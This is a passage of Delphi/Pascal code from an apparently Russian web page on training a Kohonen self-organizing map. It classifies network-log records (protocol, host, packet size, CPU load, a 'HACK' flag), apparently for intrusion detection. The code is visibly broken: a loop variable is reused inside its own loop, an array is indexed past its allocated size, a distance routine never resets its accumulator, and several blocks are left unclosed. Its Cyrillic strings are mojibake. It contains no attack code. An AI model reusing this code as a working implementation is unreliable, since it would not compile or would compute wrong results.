begin

b:=a^;

Status:=MassWeight[0];

for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1];

Y:=FunctionActivation;

end;

procedure TNeuron.Distantion(a: PExtArray);

var i: integer;

b: TExtArray;

begin

b:=a^;

Status:=0;

for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]);

Y:=Sqrt(Y);

end;

function TNeuron.FunctionActivation: Extended;

Var m: Extended;

begin

case IntVal.Value[1] of

1: m:=1/(1+exp(-ExtVal.Value[0]*Status));

2: m:=ExtVal.Value[0]*Status;

end;

FunctionActivation:=m;

end;

procedure TNeuron.Randomization;

var i: integer;

begin

for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255);

end;

constructor TLayer.Init(a: PIntArray; b: PExtArray);

var i: integer;

//c: TIntArray;

IntArr: TIntArray;

begin

IntArr:=a^;

QInputs:=IntArr.Value[0];

QNeurons:=IntArr.Value[2];

IntArr.NewLength(2);

ExtArr:=b^;

SetLength(Neurons,SizeOf(TNeuron)*QNeurons);

for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b);

SetLength(InputValues,QInputs);

for i:=0 to QInputs-1 do InputValues[i]:=0;

SetLength(OutputValues,QNeurons);

end;

procedure TLayer.GetInputValues(Values: PExtArray);

var i: integer;

a: TExtArray;

begin

a:=Values^;

for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i];

end;

procedure TLayer.Excitement;

var i: integer;

a: TExtArray;

begin

a:=TExtArray.Init(QInputs);

for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i];

for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a);

GetOutputValues;

end;

procedure TLayer.GetOutputValues;

var i: integer;

begin

for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y;

end;

procedure TLayer.randomization;

var i: integer;

begin

for i:=0 to QNeurons-1 do Neurons[i].Randomization;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

F: TextFile;

i,j,p,s1,s2,k: integer;

Str: String;

Ch: Char;

Sum: integer;

Temp: Array of String;

begin

OpenDialog1.Filter:='Æóðíàëüíûé ôàéë|*.log|';

if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then

begin

AssignFile(F,OpenDialog1.FileName);

Reset(F);

ReadLn(F);

Read(F,Q);

SetLength(Prot,Q);

SetLength(Host,Q);

SetLength(LocalH,Q);

SetLength(Frag,Q);

SetLength(Size,Q);

SetLength(Proc,Q);

SetLength(Active,Q);

SetLength(HACK,Q);

MyList.Clear;

MyList.Add('Íîìåð');

MyList.Add('Ïðîòîêîë');

MyList.Add('Õîñò');

MyList.Add('Ñâîÿ ËÂÑ');

MyList.Add('Ôðàãìåíòàöèÿ');

MyList.Add('Ðàçìåð');

MyList.Add('Ïðîöåññîð %%');

MyList.Add('Îòâå÷àåò');

StringGrid1.RowCount:=Q+1;

StringGrid1.Rows[0]:=MyList;

for i:=0 to Q-1 do

begin

MyList.Clear;

Read(F,j);

MyList.Add(IntToStr(j));

//Memo4.Lines.Add(IntToStr(j));

Read(F,Ch);

Prot[i]:='';

While(ch<>' ') do

begin

Prot[i]:=Prot[i]+Ch;

Read(F,Ch);

end;

MyList.Add(Prot[i]);

Read(F,Ch);

Host[i]:='';

While(ch<>' ') do

begin

Host[i]:=Host[i]+Ch;

Read(F,Ch);

end;

MyList.Add(Host[i]);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0;

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then Frag[i]:=1 else Frag[i]:=0;

Read(F,Size[i]);

MyList.Add(IntToStr(Size[i]));

Read(F,Proc[i]);

MyList.Add(IntToStr(Proc[i]));

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then Active[i]:=1 else Active[i]:=0;

StringGrid1.Rows[j]:=MyList;

Read(F,Ch);

if Ch='H' then HACK[i]:=1 else HACK[i]:=0;

//Memo4.Lines.Add('**************');

end;

//Memo4.Lines.Add(IntToStr(Q));

CloseFile(F);

SetLength(Temp,10);

SetLength(Mass,(Q-1)*11);

SetLength(SHack,Q-1);

for i:=0 to Q-12 do

begin

Mass[12*i]:=0;

for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j];

Mass[12*i+1]:=0;

for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j];

Mass[12*i+2]:=0;

Mass[12*i+3]:=0;

for j:=0 to 9 do

if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1;

for j:=0 to 9 do

if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1;

Sum:=1;

s1:=0;

for j:=0 to 9 do

begin

Str:=Host[i+j];

p:=0;

for k:=0 to 9 do

begin

if Str=Host[i+k] then

begin

p:=p+1;

s2:=k;

end;

if p>Sum then

begin

Sum:=p;

s1:=s2;

end;

Mass[12*i+4]:=Sum;

Mass[12*i+5]:=LocalH[i+s1];

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Proc[i+j];

Mass[12*i+6]:=Sum/10;

Mass[12*i+7]:=Proc[i+9]-Proc[i];

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Size[i+j];

Mass[12*i+8]:=Sum/10;

Sum:=0;

for j:=0 to 9 do

if (Size[i+j]>=0.8*Mass[12*i+8])and

(Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1;

Mass[12*i+9]:=Sum;

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Active[i+j];

Mass[12*i+10]:=Sum;

for j:=0 to 9 do Temp[j]:=Host[i+j];

for j:=0 to 8 do

begin

Str:=Temp[j];

for k:=0 to 9 do

if k<>j then

if Str=Temp[k] then Temp[k]:='';

end;

Sum:=0;

for j:=0 to 9 do

if Temp[j]<>'' then Sum:=Sum+1;

Mass[12*i+11]:=Sum;

Sum:=0;

for j:=0 to 9 do Sum:=Sum+HACK[i+j];

SHAck[i]:=Sum;

end;

procedure TForm1.InitializationMap;

var i,j,p: integer;

begin

for i:=0 to H*W-1 do

begin

p:=Random(Q-13);

for j:=0 to 10 do

KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j];

end;

procedure TForm1.Button3Click(Sender: TObject);

var i,j,p,k,m: integer;

Quant,Winner: integer;

Part: TExtArray;

SMax,SMin: Extended;

begin

InitializationMap;

for i:=0 to Image1.Height-1 do

for j:=0 to Image1.Width-1 do

Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150);

Quant:=StrToInt(Edit3.Text);

Part:=TExtArray.Init(12);

SMax:=0.7;

SMin:=0.0001;

ProgressBar1.Max:=Quant;

Алгоритм обучения карты Кохонена

Поиск по сайту